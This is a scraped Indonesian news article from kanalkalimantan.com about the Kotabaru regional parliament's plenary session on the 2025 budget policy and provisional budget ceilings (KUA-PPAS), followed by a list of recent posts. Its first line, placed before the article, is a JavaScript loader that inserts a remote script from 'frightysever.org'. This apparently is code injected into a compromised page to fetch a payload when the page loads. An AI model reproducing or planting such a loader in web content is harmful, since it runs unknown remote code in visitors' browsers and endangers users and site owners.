(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

KUA PPAS Di Paripurnakan DPRD Kotabaru


KANALKALIMANTAN.COM, KOTABARU – DPRD Kabupaten Kotabaru melaksanakan rapat paripurna dengan agenda penyampaian Bupati terkait Kebijakan Umum Anggaran (KUA) dan Prioritas Plapon Anggaran Sementara (PPAS) tahun anggaran 2025, Senin (15/7/24).

Syairi Mukhlis sebagai Ketua DPRD secara langsung memimpin jalannya rapat didampingi oleh Wakil Ketua I dan II, serta para anggota DPRD dan di hadiri Asisten II Setda Kotabaru, kalangan Forkopimda dan SKPD.

Sambutan Bupati Kotabaru disampaikan oleh Asisten II Setda Kotabaru, H Murdianto mengatakan, berdasar UU nomor 17 tahun 2003 tentang keuangan negara, UU nomor 25 tahun 2004 tentang sistem perencanaan pembangunan nasional dan UU nomor 23 tahun 2014 tentang pemerintahan daerah, serta mengacu pada Peraturan Menteri Dalam Negeri nomor 77 tahun 2020 tentang pedoman teknis pengelolaan keuangan daerah, bahwa APBD disusun dengan memedomani KUA dan PPAS yang didasarkan pada RKPD tahun 2025.

“Sedangkan dalam PP nomor 8 tahun 2008 tentang tahapan, tatacara penyusunan, pengendalian dan evaluasi pelaksanaan rencana pembangunan daerah serta Permendagri nomor 86 tahun 2017 tentang tata cara perencanaan, pengendalian dan evaluasi pembangunan daerah, tata cara evaluasi rancangan peraturan daerah tentang RPJPD dan RPJMD,” tutur Murdianto.

Dia menjelaskan, selain itu juga terkiat dengan tata cara perubahan RPJPD, RPJMD, dan RKPD, menyatakan bahwa RKPD sebagai landasan penyusunan KUA dan PPAS dalam rangka penyusunan rancangan anggaran pendapatan dan belanja daerah.

Lebih jauh dia mengatakan, pemerintah daerah akan selalu terbuka terhadap masukan yang diberikan dalam rangka percepatan visi pemerintah Kotabaru, yaitu terwujudnya masyarakat yang makin mandiri dan sejahtera melalui peningkatan di bidang agrobisnis dan kepariwisataan.

“Hal itu dijabarkan dalam rencana pembangunan jangka panjang dan menengah daerah serta rencana kerja pembangunan daerah,” tutup dia. (kanalkalimantan.com/muhammad)

Reporter: muhammad
Editor: Dhani


Muhammad Andi

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

18 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

1 hari ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

1 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

1 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

2 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 hari ago

This website uses cookies.